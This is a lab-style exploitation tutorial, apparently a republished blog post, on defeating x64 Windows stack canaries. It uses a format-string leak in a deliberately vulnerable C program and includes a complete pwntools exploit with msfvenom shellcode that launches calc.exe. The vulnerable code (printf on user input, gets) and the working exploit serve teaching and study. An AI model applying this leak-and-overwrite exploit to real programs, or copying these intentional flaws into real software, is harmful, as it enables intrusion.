Stack Canaries on x64 Windows: Leaking and Patching the Birdy
Hello everyone. Mirrai here. If you read my last post on Return-Oriented Programming (ROP), you probably noticed a small detail in the vulnerable C code I provided. I left printf(username) in the binary and said, "We ar
Hello everyone. Mirrai here.
If you read my last post on Return-Oriented Programming (ROP), you probably noticed a small detail in the vulnerable C code I provided. I left printf(username) in the binary and said, "We aren't exploiting that today though. That is a topic for another write-up."
Well, here we are.
1. What is a Stack Canary?
In general we have been doing stack exploitation. This will only work if the stack in question doesn't have a tripwire which is a exactly what a stack canary is. For those unaware the name comes from back went miners would put a canary bird in a mine. If the bird died it served as an early warning that the cave was bad. The concept is similar here. If the stack canary is overwritten then something has gone wrong.
The stack canary itself is a random 64-bit value placed directly between your local variables and the saved return address. First the compiler will add a stub that generates the canary on a given function stack. It GCC it looks a bit like this:
When it has been generated it becomes pretty conspicuous:
Here it's about 16 bytes apart from the return address. This can vary depending on compiler and the program itself
Before the function returns, it checks the canary against a master copy stored somewhere else in the program. If you want to overwrite the return address (to exploit the stack) you have to overwrite the canary to get there. When you do overwrite the canary, another stub added at the end checks it. If it's been modified it immediately calls <JMP.&__stack_chk_fail> to kill the process.
To be a bit more technical here, it moves the canary to RCX, loads the pointer to the master canary value in RAX then dereference RAX to get the master canary and subtracts it by RCX. If both values are equal the zero flag is set and the je jumps to your proper function epilogue so function returns properly. If not, then the programs calls <JMP.&__stack_chk_fail> and just dies.
2. Setting up
Here is the vulnerable code. Notice we have a format string vulnerability in the username, and a buffer overflow in the password:
#include <stdio.h>
#include <windows.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
DWORD old;
char username[512] = {0};
char password[700];
VirtualProtect(password, 700, PAGE_EXECUTE_READWRITE, &old);
printf("What is your name?: ");
fgets(username, sizeof(username), stdin);
printf(username); // The Info Leak
printf("\nWhat is your password?: ");
gets(password); // The Overflow
return 0;
}
To replicate this environment, compile it with the stack protector enabled, but leave ASLR and PIE off for now so we can isolate the canary:
gcc main.c -o canary_vuln.exe -fstack-protector-all -no-pie
3. Leaking the Birdy
This is where format string leaks come in. printf uses multiple arguments, including an identifier for the type you want to print, such as %s, %d, or %p. If that identifier is missing and you add one, printf will just grab whatever is next on the stack and print it. For example:
What is your name?: %p.%p.%p.%p.
0000000000010000.7FFFFFFFFFFFFFFC.00000000006ED920.70252E70252E7025.
%p. printed out a pointer with a . separating them. with this we can see the address of the program from the outside but we will need of lot of "%p." to read all the data we want
4. Patching the Birdy
Alright. It's time to lock in because things are about to get serious. in the source code we can see that the username buffer has a size of 512. After doing the math we can fit "%p." (3 bytes) into 512 about 170 times. In our case that's enough to leak what we wanted but in some cases you might not be able to leak all of it and may need to be more creative like finding offsets to address you did leak. This is the full exploit code.
Keep in mind that the buf is the msfvenom payload from the last tutorial (which you should check if you haven't):
from pwn import *
ret_addr = "00000001400013BA"
buffer_to_canary_offset = 712
canary_to_ret_offset = 8
buffer_start = p64(0x00000000005FFBA0)
p = process([r"canary_bypass.exe"])
p.sendlineafter(b"What is your name?: ", b"%p." * 170)
print("Acquiring leaked addresses...")
addrs = p.recvuntil(b"What is your password?: ").decode()
addrs = addrs.split(".")
ret_index = addrs.index(ret_addr) - 2
canary_value = p64(int(addrs[ret_index], 16))
print(f"Leaked Canary: {int(addrs[ret_index], 16):02X}")
# sub rsp, 0x400
stack_adj = b"\x48\x81\xec\x00\x04\x00\x00"
# msfvenom -p windows/x64/exec CMD=calc.exe -b "\x0a\x0d" -f python
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x4d\x13\x13\x90\xd8"
buf += b"\xc5\xbe\x60\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xb1\x5b\x90\x74\x28\x2d\x7e\x60\x4d"
buf += b"\x13\x52\xc1\x99\x95\xec\x31\x1b\x5b\x22\x42\xbd"
buf += b"\x8d\x35\x32\x2d\x5b\x98\xc2\xc0\x8d\x35\x32\x6d"
buf += b"\x5b\x98\xe2\x88\x8d\xb1\xd7\x07\x59\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x2f\x72\xec\xda\xe9\x9e\x21\x8c"
buf += b"\xda\x1e\xd1\xd9\x04\x5c\x8d\x1f\x52\x42\xd8\x53"
buf += b"\x97\x9e\xeb\x0f\x2f\x5b\x91\x08\x4e\x3e\xe8\x4d"
buf += b"\x13\x13\xd8\x5d\x05\xca\x07\x05\x12\xc3\xc0\x53"
buf += b"\x8d\xa6\x24\xc6\x53\x33\xd9\xd9\x15\x5d\x36\x05"
buf += b"\xec\xda\xd1\x53\xf1\x36\x28\x4c\xc5\x5e\xa1\x11"
buf += b"\x8d\x8f\xa0\xe1\x52\xd2\x59\xd5\x84\xbf\xa1\x75"
buf += b"\xf3\x66\x61\x94\xc6\xf2\x44\x45\x56\x2a\x41\xad"
buf += b"\x1d\xe6\x24\xc6\x53\x37\xd9\xd9\x15\xd8\x21\xc6"
buf += b"\x1f\x5b\xd4\x53\x85\xa2\x29\x4c\xc3\x52\x1b\xdc"
buf += b"\x4d\xf6\x61\x9d\x52\x4b\xd1\x80\x9b\xe7\x3a\x0c"
buf += b"\x4b\x52\xc9\x99\x9f\xf6\xe3\xa1\x33\x52\xc2\x27"
buf += b"\x25\xe6\x21\x14\x49\x5b\x1b\xca\x2c\xe9\x9f\xb2"
buf += b"\xec\x4e\xd8\x62\xc4\xbe\x60\x4d\x13\x13\x90\xd8"
buf += b"\x8d\x33\xed\x4c\x12\x13\x90\x99\x7f\x8f\xeb\x22"
buf += b"\x94\xec\x45\x63\x35\x0b\xc2\x1b\x52\xa9\x36\x4d"
buf += b"\x78\x23\x9f\x98\x5b\x90\x54\xf0\xf9\xb8\x1c\x47"
buf += b"\x93\xe8\x70\xad\xc0\x05\x27\x5e\x61\x7c\xfa\xd8"
buf += b"\x9c\xff\xe9\x97\xec\xc6\xf3\xb9\xa9\xdd\x4e\x28"
buf += b"\x6b\x76\x90\xd8\xc5\xbe\x60"
payload = b""
payload += stack_adj + buf
payload += b"\x90" * (buffer_to_canary_offset - len(payload))
payload += canary_value
payload += b"\x90" * canary_to_ret_offset
payload += buffer_start
# input("Debug stub. Press enter to continue ")
print("[+] Sending payload...")
p.sendline(payload)
p.wait()
Of course you would need to find the offset (num of bytes) it would take to go from the password buffer to the canary. I just subtract the start of the buffer and canary address to get it the manual way.
Anyway, I got the ret_addrfrom simply checking it in debugger. Since I know what the value is I can find ret_index easily with python's .index() method then minus two since we know the canary is two address (16 bytes) before the return address in the stack. In a situation where you don't know the the address beforehand or it changes (cough ASLR cough), You would actually need to know the position that the return address is in which can be tedious.
5. Wrapping Up
And just like that, the canary is neutralized.
I highly recommend uncommenting the debug line and attaching a debugger to the process that the python script spawned. You should ideally attach to the first instruction of the <JMP.&__stack_chk_fail> at the end. It helps actually see what's happening and is useful if you complied the code yourself.
As ususal I'll post the github link to the source and the exe when it's uploaded.
Next time, we'll look at the final boss: ASLR and at the next writeup after the ASLR one we will add all protections (DEP, canary, ASLR) and bypass them in one binary. Until then tho, Bye and leave comment if you have questions. Always happy to help
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β full credit and traffic to the original publisher.
